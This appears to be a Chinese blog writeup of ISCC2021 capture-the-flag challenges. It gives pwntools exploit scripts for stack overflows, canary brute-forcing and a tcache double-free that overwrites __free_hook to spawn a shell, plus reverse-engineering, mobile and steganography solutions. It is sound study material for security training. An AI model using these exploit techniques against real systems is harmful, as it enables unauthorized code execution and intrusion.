ISCC2021个人挑战赛和擂台赛部分writeup

原创

拾光、 于 2021-05-28 14:35:59 发布 437 收藏 1

分类专栏： ctf ISCC ISCC2021 文章标签： 信息安全

本文链接：https://blog.csdn.net/wdearzh/article/details/117362165


ctf 同时被 3 个专栏收录

11 篇文章 0 订阅

订阅专栏


ISCC

1 篇文章 0 订阅

订阅专栏


ISCC2021

1 篇文章 0 订阅

订阅专栏

文章目录

pwn

M78

漏洞在 check函数处

```
char *__cdecl check(char *s)
{
  char dest[11]; // [esp+0h] [ebp-18h] BYREF
  char v3; // [esp+Bh] [ebp-Dh]
  char *v4; // [esp+Ch] [ebp-Ch]

  v3 = strlen(s);
  if ( v3 == 7 )
  {
    puts("Enjoy it~");
    fflush(stdout);
    v4 = strcpy(dest, s);
  }
  else
  {
    puts("Invalid!");
    v4 = (char *)fflush(stdout);
  }
  return v4;
}
```

s是上层函数read的，长度最长为0x199，buf本身不会溢出。
dest数组长度为11，从buf复制到dest时，可能造成dest溢出。
v3是char类型，可以构造s的长度0x107，使得v3的值为7。
跳转到后门函数即可。

exp：

```
#encoding=utf-8
from pwn import *
import time
context(os='linux',arch='amd64')
context.log_level = 'debug'
r = remote('39.96.88.40',7010)
#r = process('/home/kali/ctf/pwn/ti/M78')
call_addr = 0x8049202

r.sendlineafter("?",'1')
r.sendlineafter("\n",'1')

payload = b'0'*(0x18+4) + p32(call_addr)
payload = payload.ljust(0x107,b'c')
payload += b'\0'
r.sendlineafter("password\n",payload)
r.interactive()
```

game

数组溢出到rand的种子，然后c语言得到序列，输入即可。

```
#encoding=utf-8
from pwn import *
import time
context(os='linux',arch='amd64')
context.log_level = 'debug'
r = remote('39.96.88.40',7040)
#r = process('/home/kali/ctf/pwn/ti/game')

rt = [55,15,82,1,98,68,67,15,86,3]

payload = b'w'*40+p32(0)
r.sendlineafter("Your name is :",payload)
for i in rt:
    r.sendlineafter("Guess Number:",str(i))

r.interactive()
```

box

堆漏洞，存在uaf 和 double free漏洞。libc为2.27 Ubuntu1 ，有tcache，double free未校验。
tcache(0x20 - 0x400)每个链表最多存放7个，多出来的会放到各个对应bins中去。
unsord bin中仅存在一个free的chunk时，chunk的fd指向main_arena

exp：

```
#encoding=utf-8
from pwn import *
import time
context(os='linux',arch='amd64')
context.log_level = 'debug'
r = remote('39.96.88.40',7020)
#r = process('/home/kali/ctf/pwn/ti/box/pwn')
libc = ELF('/home/kali/ctf/pwn/ti/box/libc.so.6')
call_addr = 0x8049202

def _add(idx, lenn, ddd):
    r.sendlineafter(">>",'1')
    r.sendlineafter("Input the index:\n",str(idx))
    r.sendlineafter(":\n",str(lenn))
    r.sendlineafter(":\n",ddd)
def _edit(idx, ddd):
    r.sendlineafter(">>",'2')
    r.sendlineafter("Input the index:\n",str(idx))
    #r.sendlineafter(":\n",str(lenn))
    r.sendlineafter(":\n",ddd)

def _remove(idx):
    r.sendlineafter(">>",'3')
    r.sendlineafter("Input the index:\n",str(idx))

def _view(idx):
    r.sendlineafter(">>",'4')
    r.sendlineafter("Input the index:\n",str(idx))

_add(0,0x80,"11")
_add(1,0x80,"11")
_add(2,0x80,"11")

_remove(1)
```

```
_remove(1)
_remove(1)
_remove(1)
_remove(1)
_remove(1)
_remove(1)
_remove(1)
_remove(0)
_view(0)

r.recvuntil("Here is it :")

main_arna_96 = u64(r.recv(6).ljust(8,b'\0'))
print('main_arna_96:',hex(main_arna_96))

malloc_hook_s = libc.symbols['__malloc_hook']
free_hook_s = libc.symbols['__free_hook']
system_s = libc.sym['system']

malloc_hook_addr = (main_arna_96 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
free_hook_addr = libc_base + free_hook_s
system_addr = libc_base + system_s
print('libc_base:',hex(libc_base))
print('free_hook_addr:',hex(free_hook_addr))
print('system_addr:',hex(system_addr))

_edit(1,p64(free_hook_addr))
_add(3,0x80,'/bin/sh\0')
_add(4,0x80,p64(system_addr))
_remove(3)
#gdb.attach(r)
r.interactive()
```

exp2：
不调用edit 使用double free 构造 tcache 为：

1、tcache -> chunk1 ->chunk2->chun1
2、然后 malloc chunk1 并把fd设置为free_hook_addr
tcache -> chunk2 ->chunk1->free_hook_addr
3、然后 malloc chunk2 构造"/bin/sh" 再malloc chunk1
tcache ->free_hook_addr
4、malloc 并把system_addr 写入到 free_hook_addr

```
#encoding=utf-8
from pwn import *
import time
context(os='linux',arch='amd64')
context.log_level = 'debug'
#r = remote('39.96.88.40',7020)
r = process('/home/kali/ctf/pwn/ti/box/pwn')
libc = ELF('/home/kali/ctf/pwn/ti/box/libc.so.6')
call_addr = 0x8049202

def _add(idx, lenn, ddd):
    r.sendlineafter(">>",'1')
    r.sendlineafter("Input the index:\n",str(idx))
    r.sendlineafter(":\n",str(lenn))
```

```
    r.sendlineafter(":\n",ddd)
def _edit(idx, ddd):
    r.sendlineafter(">>",'2')
    r.sendlineafter("Input the index:\n",str(idx))
    #r.sendlineafter(":\n",str(lenn))
    r.sendlineafter(":\n",ddd)

def _remove(idx):
    r.sendlineafter(">>",'3')
    r.sendlineafter("Input the index:\n",str(idx))

def _view(idx):
    r.sendlineafter(">>",'4')
    r.sendlineafter("Input the index:\n",str(idx))

_add(0,0x80,"11")
_add(1,0x80,"11")
_add(2,0x80,"11")

_remove(2)
_remove(2)
_remove(2)
_remove(2)
_remove(1)
_remove(2)
_remove(1)
_remove(0)
_view(0)

r.recvuntil("Here is it :")

main_arna_96 = u64(r.recv(6).ljust(8,b'\0'))
print('main_arna_96:',hex(main_arna_96))

malloc_hook_s = libc.symbols['__malloc_hook']
free_hook_s = libc.symbols['__free_hook']
system_s = libc.sym['system']

malloc_hook_addr = (main_arna_96 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
free_hook_addr = libc_base + free_hook_s
system_addr = libc_base + system_s
print('libc_base:',hex(libc_base))
print('free_hook_addr:',hex(free_hook_addr))
print('system_addr:',hex(system_addr))

_add(3,0x80,p64(free_hook_addr))
_add(4,0x80,'/bin/sh\0')
_add(5,0x80,'11')
_add(6,0x80,p64(system_addr))

_remove(4)
#gdb.attach(r)
r.interactive()
```

碰碰碰

代码结构很简单，fork子进程，然后子进程调用函数vuln() 。
1、vuln函数中存在栈溢出。
2、有backdoor()函数，可以执行shell。
3、开启了PIE
4、开启了CANARY
那知识点可能就两个：
1、绕过canary；
2、ret到backdoor
因为是fork子进程，可以爆破canary

```
#encoding=utf-8
from pwn import *
import time
context(os='linux',arch='amd64')
context.log_level = 'debug'
r = remote('39.96.88.40',8010)
#r = process(["/home/kali/ctf/pwn/ti/iscc2021/hellopwner/ld-linux.so.2","/home/kali/ctf/pwn/ti/iscc2021/hellopwn
er/hello_Pwner"],env={"LD_PRELOAD":"/home/kali/ctf/pwn/ti/iscc2021/hellopwner/libc.so.6"})

def ckcanary(payload, len):
    canaryy =b''
    for _ in range(len):
        for i in range(0,256):

            r.sendafter("Pwner!",payload+canaryy+chr(i).encode('latin1'))
            r.recvline() #
            a=r.recv(3)
            print(i,canaryy, a)
            if a != b'***':
                canaryy +=chr(i).encode('latin1')
                print(canaryy)
                break
            if i == 255:
                print("error")
                return ""
    return   u32(canaryy)
payload = b'\0'* 100
cana=ckcanary(payload,4)
print("canary:",hex(cana))

for i in range(0,16):
    addr = i << 12 | 0x07ba
    payload = b'cat flag.txt #'
    payload = payload.ljust(100,b'\0')  + p32(cana) + b'\0'*12 + p16(addr)
    #r.sendafter("Pwner!",payload)
    r.send(payload)
    time.sleep(0.1)

r.interactive()
```

RE

garden

附件garden.pyc

pyc解密得到算法：关键点在check函数

```
# uncompyle6 version 3.7.4
# Python bytecode 2.7 (62211)
# Decompiled from: Python 3.8.8 (tags/v3.8.8:024d805, Feb 19 2021, 13:18:16) [MSC v.1928 64 bit (AMD64)]
# Embedded file name: garden.py
# Compiled at: 2021-02-28 12:29:29
import platform, sys, marshal, types

def check(s):
    f = '2(88\x006\x1a\x10\x10\x1aIKIJ+\x1a\x10\x10\x1a\x06'
    if len(s) != len(f):
        return False
    checksum = 0
    for a, b in zip(f, s):
        checksum += ord(b) ^ ord(a) ^ 123

    return checksum == 0


if sys.version_info.major != 2 or sys.version_info.minor != 7:
    sys.exit('试试 Python 2.7.')
if len(sys.argv) != 2:
    sys.exit('usage: bronze.pyc <flag>')
flag = sys.argv[1]
if len(flag) >= 32:
    print '太长了.'
    sys.exit(1)
alphabet = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}!@#$%+')
for ch in flag:
    if ch not in alphabet:
        print '不对.'
        sys.exit(1)

if check(flag):
    print '就是这个!'
    sys.exit(0)
else:
    print '搞错了.'
    sys.exit(1)
# okay decompiling garden.pyc
```

exp：

```
f = '2(88\x006\x1a\x10\x10\x1aIKIJ+\x1a\x10\x10\x1a\x06'
flag=''
for i in f:
    flag += chr(ord(i) ^ 123)
print(flag)
```

Analysis

逐步逆向算法即可。

```
r= [0x43,0xDF,0x14,0x3,0x0D,0x2C,0x9,0x1,0x17,0x17,0x8,0xFC,0x2B,0xFA,0x14,0x17,0xF9,0x25,0xF5,0x22,0x3D,0xCE,0x
18,0x16,0x0A]

sstr='REVERSE'
bstr=[0 for i in sstr]
for i in range(len(sstr)):
    bstr[i] = ord(sstr[i])%64

print(bstr)

for i in range(0x19):
    t = bstr[i%7]&1
    if t != 0 :
        r[i] = r[i] -2
    else:
        r[i] = r[i] -1
print(r)

for i in range(0x19 //2 ):
    t=r[i]
    r[i] = r[0x19-1-i]
    r[0x19-1-i] = t
print(r)

for i in range(0x19):
    r[i] =  (r[i] - bstr[i%7])&0xff
print(r)

for i in range(0x17, -1, -1):

    r[i] = (r[i] + r[i+1])&0xff
print(r)

for i in range(0x19):
    r[i] += 64
print(r)

flag=''
for i in r:
    flag += (chr(i))
print(flag)
```

Ron’s Code

RC4算法逆向

```
def rc4(data, key):
    '''
        data:    data that to be encrypted or decrypted.
        key:     key to encrypt or decrypt.
    '''
    #if the data is a string, convert to hex format.
    if(type(data) is type("string")):
        tmpData=data
        data=[]
        for tmp in tmpData:
            data.append(ord(tmp))

    #if the key is a string, convert to hex format
```

```
    #if the key is a string, convert to hex format.
    if(type(key) is type("string")):
        tmpKey=key
        key=[]
        for tmp in tmpKey:
            key.append(ord(tmp))

    #the Key-Scheduling Algorithm
    x = 0
    box= list(range(256))
    for i in range(256):
        x = (x + box[i] + key[i % len(key)]) % 256
        box[i], box[x] = box[x], box[i]

    #the Pseudo-Random Generation Algorithm
    x = 0
    y = 0
    out = []
    for c in data:
        x = (x + 1) % 256
        y = (y + box[x]) % 256
        box[x], box[y] = box[y], box[x]
        out.append(c ^ box[(box[x] + box[y]) % 256])

    result=""
    printable=True
    for tmp in out:
        if(tmp<0x21 or tmp>0x7e):
            # there is non-printable character
            printable=False
            break
        result += chr(tmp)

    if(printable==False):
        result=""
        #convert to hex string
        for tmp in out:
            result += "{0:02X}".format(tmp)

    return result
str=[0xE8,0x30,0xE8,0x30,0xC9,0x65,0xA9,0xBA,0x77,0xDA,0xF4,0x4E,0xE3,0xE9,0x60,0x76,0xC1]
key1='ISCC2021'.encode()
key=[]
for i in range(len(key1)):
    key.append(key1[i] +i)
print(key)

flag = rc4(bytes(str),bytes(key))

flag=bytes.fromhex(flag)
flag=list(flag)

key=list(key1)

for i in range(len(str)):
    flag[i] += key[i%8]
    flag[i] -= 1
print(bytes(flag))
```

汇编大人，时代变了

提供的汇编代码为 LLVM IR的语法。可以使用命令编译为obj文件

```
llc -filetype=obj task.ll
```

编译出的obj文件，放到ida中即可F5查看算法逻辑

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t v3; // rbx
  char v4; // bp
  char v5; // bp
  int j; // [rsp+4h] [rbp-64h]
  int i; // [rsp+8h] [rbp-60h]
  int v9; // [rsp+Ch] [rbp-5Ch]
  char s[88]; // [rsp+10h] [rbp-58h] BYREF

  printf("Only the chosen one will know what the flag is!\n");
  printf("Are you the chosen one?\n");
  printf("flag: ");
  _isoc99_scanf("%64s", s);
  v3 = strlen(s);
  if ( v3 == strlen(&what) )
  {
    if ( (unsigned int)check(s) )
    {
      for ( i = 0; i < strlen(s); ++i )
      {
        v4 = s[i];
        s[i] = v4 ^ secret[i % strlen(secret)];
      }
    }
    else
    {
      for ( j = 0; j < strlen(s); ++j )
      {
        v5 = flag[j];
        s[j] = v5 ^ secret[j % strlen(secret)];
      }
    }
    printf(format, s);
    v9 = 0;
  }
  else
  {
    printf(asc_356);
    v9 = 1;
  }
  return v9;
}
```

exp:

```
import string
a="\x0A\xF0\x9F\x98\x82\xF0\x9F\x91\x8C\xF0\x9F\x98\x82\xF0\x9F\x91\x8C\xF0\x9F\x98\x82\xF0\x9F\x91\x8C ISCC{%s}
 \xF0\x9F\x91\x8C\xF0\x9F\x98\x82\xF0\x9F\x91\x8C\xF0\x9F\x98\x82\xF0\x9F\x91\x8C\xF0\x9F\x98\x82\x0A\x0A\x00\x0
0\x00"
what="\x64\x4e\x6c\x2e\x1e\x36\x38\x04\x44\x12\x1c\x24\x5c\x59\x3d\x0b\x5a\x78\x08\x09\x76\x70\x79\x33\x13\x16\x
20\x7e\x6b\x23\x36\x45\x07\x11\x2c\x22\x4a\x4a\x4f\x2e\x48\x4c\x7c\x3e\x11\x0f\x6a\x18\x37\x42\x1e\x2b\x12\x03\x
5a\x47"
secret="B\x0A|_\x22\x06\x1Bg7#\x5CF\x0A)\x090Q8_{Y\x13\x18\x0DP"
flag="\x1DU#hJ7.8\x06\x16\x03rUO=[bg9JmtGt`7U\x0BnNjD\x01\x03\x120\x19;OVIaM\x00\x08,qu<g\x1D;K\x00}Y\x00\x00\x0
0\x00\x00\x00\x00\x00"

s = [0 for i in range(len(what))]
#print(s)
for ss in string.printable:
    s[0]=ord(ss)
    for i in range(len(what)-1):
        s[i+1]  = ord(what[i]) ^ s[i]
    f=''
    for i in range(len(what)):
        v = s[i]
        t = chr((v) ^ ord(secret[i % len(secret)]))
        if t not in  string.printable:
            break
        f +=t
    if len(f) == len(what):

        print(f)

'''
s[0]
s[1] = s[0]^what[0]
s[2] = s[0]^what[0]^what[1]
s[3] = s[0]^what[0]^what[1]^what[2]
...
s[n] = s[0]^what[0]^what[1]^what[2]^...what[n-1]
s[0] = s[0]^what[0]^what[1]^what[2]^...what[n]
'''

#ISCC{mAy6e_t0d4Y_7H15_ls_tH3_10n8est_f14g_Y0_HaD_Ev3R_5e3n_!_}
```

mob

Mobile Easy

```
from Crypto.Cipher import AES
import base64
key = '1234567890123456'.encode()
str2='9z2ukkD3Ztxhj+t/S1x1Eg=='
aes = AES.new(key,AES.MODE_ECB)
# decrypt
msg_enc = base64.b64decode(str2)
msg = aes.decrypt(msg_enc)
str2=msg.decode().replace(" ", '')
print(len(str2))
#+0dNlE8us8
str3 = ''
for x in range(7,256,8):
    if x%9 == 8:
        print(x)
        str3 += chr(x)
        break

str3 += chr(100+3)
str3 += chr(100^0x5d)
str3 += chr(ord(str3[2]) * 2 - 10)
str3 += chr(120-1)
c8 = 'P'
c7 = chr(ord(c8)+4)
c6 = chr(ord(c7)^56)
str3 +=  c6+c7+c8
print(ord(c6), ord(c7))
first='ISCC{'+str2+str3+'}'
flag = first.replace("dN","B1").replace("8", "_").replace("P", "!").replace("hwl","rea").replace( 'u','1').repla
ce("+","m");
print(flag)
```

Mobile Normal

java+jni

java部分：

```
  private String getFlag() {
        String part1 = new String(Base64.decode(new String("ZXZlcllvbmVfbDFrZVM=").getBytes(), 0));
        String s = (new String(BuildConfig.FLAVOR) + "ISCC{") + part1;
        return ((s + MyJni.getPart3()) + ((String) getResources().getText(R.string.smile))) + "}";
    }
```

关键点在与jni的 MyJni.getPart3() 方法返回的字符川。

jni部分逻辑挺复杂，没有逆算法。

直接修改smali代码的onclick方法，将getFlag返回的flag Toast出来或者setText到输入框即可。

```
invoke-direct {p0}, Lcom/example/mobilenormal/MainActivity;->getFlag()Ljava/lang/String;
move-result-object v2
.local v2, "flag":Ljava/lang/String;

const v0, 0x7f070036
invoke-virtual {p0, v0}, Lcom/example/mobilenormal/MainActivity;->findViewById(I)Landroid/view/View;
move-result-object v0
check-cast v0, Landroid/widget/EditText;
.local v0, "editText":Landroid/widget/EditText;

invoke-virtual {v0, v2}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
```

apk在手机或者模拟器安装后点击即可显示flag。

MISC

Retrieve the passcode

Scatter说他能解开这个古怪的密码，你呢？来试试吧！
Flag格式：ISCC{XXX}，XXX为小写字符串，不包括空格
附件为一个scatter.txt 和 computer.rar
scatter.txt 内容：

```
1:3:1;1.25:3:1;1.5:3:1;1.75:3:1;2:3:1;2:2.75:1;2:2.5:1;2:2.25:1;2:2:1;2:1.75:1;2:1.5:1;1:2.25:1;1.25:2.25:1;1.5:2.25:1;1.75:2.25:1;1:1.5:1;1.25:1.5:1;1.5:1.5:1;1.75:1.5:1;3:3:1;3.25:3:1;3.5:3:1;3.75:3:1;4:3:1;3.25:2.25:1;3.5:2.25:1;3.75:2.25:1;4:2.25:1;4:2:1;4:1.75:1;4:1.5:1;3:1.5:1;3.25:1.5:1;3.5:1.5:1;3.75:1.5:1;3:1.75:1;3:2:1;3:2.25:1;3:2.5:1;3:2.75:1;5:3:1;5.25:3:1;5.5:3:1;5.75:3:1;6:3:1;6:2.25:1;6:2:1;6:1.75:1;6:1.5:1;5.75:1.5:1;5.5:1.5:1;5.25:1.5:1;5:1.5:1;5:2.25:1;5.25:2.25:1;5.5:2.25:1;5.75:2.25:1;5:2.5:1;5:2.75:1;7:3:1;7.25:3:1;7.5:3:1;7.75:3:1;8:3:1;8:2.75:1;8:2.5:1;8:2.25:1;8:2:1;8:1.75:1;8:1.5:1;9:3:1;9.25:3:1;9.5:3:1;9.75:3:1;10:3:1;10:2.75:1;10:2.5:1;10:2.25:1;9.75:2.25:1;9.5:2.25:1;9.25:2.25:1;9:2.25:1;9:2:1;9:1.75:1;9:1.5:1;9.25:1.5:1;9.5:1.5:1;9.75:1.5:1;10:1.5:1;11:3:1;11.25:3:1;11.5:3:1;11.75:3:1;12:3:1;12:2.75:1;12:2.5:1;12:2.25:1;12:2:1;12:1.75:1;12:1.5:1;11.75:1.5:1;11.5:1.5:1;11.25:1.5:1;11:1.5:1;11:1.75:1;11:2:1;11:2.25:1;11:2.5:1;11:2.75:1;11.25:2.25:1;11.5:2.25:1;11.75:2.25:1
```

搜索scatter得知 python的 matplotlib 有scatter函数
scatter(x, y, 点的大小, 颜色,标记)

编写脚本：

```
import matplotlib.pyplot as plt
d=[[1,3,1],[1.25,3,1],[1.5,3,1],[1.75,3,1],[2,3,1],[2,2.75,1],[2,2.5,1],[2,2.25,1],[2,2,1],[2,1.75,1],[2,1.5,1],
[1,2.25,1],[1.25,2.25,1],[1.5,2.25,1],[1.75,2.25,1],[1,1.5,1],[1.25,1.5,1],[1.5,1.5,1],[1.75,1.5,1],[3,3,1],[3.2
5,3,1],[3.5,3,1],[3.75,3,1],[4,3,1],[3.25,2.25,1],[3.5,2.25,1],[3.75,2.25,1],[4,2.25,1],[4,2,1],[4,1.75,1],[4,1.
5,1],[3,1.5,1],[3.25,1.5,1],[3.5,1.5,1],[3.75,1.5,1],[3,1.75,1],[3,2,1],[3,2.25,1],[3,2.5,1],[3,2.75,1],[5,3,1],
[5.25,3,1],[5.5,3,1],[5.75,3,1],[6,3,1],[6,2.25,1],[6,2,1],[6,1.75,1],[6,1.5,1],[5.75,1.5,1],[5.5,1.5,1],[5.25,1
.5,1],[5,1.5,1],[5,2.25,1],[5.25,2.25,1],[5.5,2.25,1],[5.75,2.25,1],[5,2.5,1],[5,2.75,1],[7,3,1],[7.25,3,1],[7.5
,3,1],[7.75,3,1],[8,3,1],[8,2.75,1],[8,2.5,1],[8,2.25,1],[8,2,1],[8,1.75,1],[8,1.5,1],[9,3,1],[9.25,3,1],[9.5,3,
1],[9.75,3,1],[10,3,1],[10,2.75,1],[10,2.5,1],[10,2.25,1],[9.75,2.25,1],[9.5,2.25,1],[9.25,2.25,1],[9,2.25,1],[9
,2,1],[9,1.75,1],[9,1.5,1],[9.25,1.5,1],[9.5,1.5,1],[9.75,1.5,1],[10,1.5,1],[11,3,1],[11.25,3,1],[11.5,3,1],[11.
75,3,1],[12,3,1],[12,2.75,1],[12,2.5,1],[12,2.25,1],[12,2,1],[12,1.75,1],[12,1.5,1],[11.75,1.5,1],[11.5,1.5,1],[
11.25,1.5,1],[11,1.5,1],[11,1.75,1],[11,2,1],[11,2.25,1],[11,2.5,1],[11,2.75,1],[11.25,2.25,1],[11.5,2.25,1],[11
.75,2.25,1]]
x=[]
y=[]
c=[]
for i in d:
    x.append(i[0])
    y.append(i[1])
    c.append(i[2])
fig = plt.figure()
ax1 = fig.add_subplot(411)
#设置标题
ax1.set_title('Scatter Plot')
#设置X轴标签
plt.xlabel('X')
#设置Y轴标签
plt.ylabel('Y')
#画散点图
ax1.scatter(x,y)
#设置图标
plt.legend('x1')
#显示所画的图
plt.show()
```

得到密码：

365728

解压出computer.pdf

得到摩斯密码解密：

CONGRATULATIONTHEFLAGISCHALLENGEISCCTWOZEROTWOONE

转小写：

ISCC{congratulationtheflasgischallengeiscctwozerotwoone}

我的折扣是多少？

小c同学去参加音乐会，在官网买票时发现了有提示消息，提供给的有“give_me_discount”的压缩包，好奇的小c下载下来，但却无从下手，为了节省零花钱，你能帮帮他吗？

下载下来时三个文件：

```
Mode                 LastWriteTime         Length Name

----                 -------------         ------ ----

-a----         2021/3/17     22:52         331005 discount.mp3
-a----         2021/3/17     17:23          78595 give.exe
-a----         2021/3/17     19:14            214 me.zip
```

执行give.exe显示：
pass1{\u006b\u0072\u0077}
解密：
pass1{krw}
010打开me.zip,发现base64：
解密得到
pass2{gcc666}
使用krwgcc666 打开me.zip
得到
eW91Zm91bmRtZT8=
解密：youfoundme?
使用mp3steno 打开mp3 解密 使用密钥youfoundme? 得到
lSCC{LFXXK4TENFZWG33VNZ2DELRRGU======}
base32解密的到flag：
lSCC{Yourdiscount2.15}

小明的表情包

放假期间小红被亲戚叫去帮店里帮忙，店里忙极了导致小红没有时间写代码。小红苦恼极了，她突然想起来小明有一张非常适合描述她此时心情的表情包。于是，小红让小明把表情包分享给她。小明说如果你记得我的出生的日月年，我就交给你。小明的生日年份隐藏在这串凯撒密码“AVARGRRA AVARGL AVAR”中，你能帮小红得到小明的表情包吗？
AVARGRRA AVARGL AVAR使用凯撒解密

得到年份NINETEEN NINETY NINE
然后使用archpr爆破 日月1999得到压缩包解压密码07071999
解压压缩包中表情包，打开失败，010需修改，添加jpg头得到带flag的图片：
lSCC{Nyuuiitt}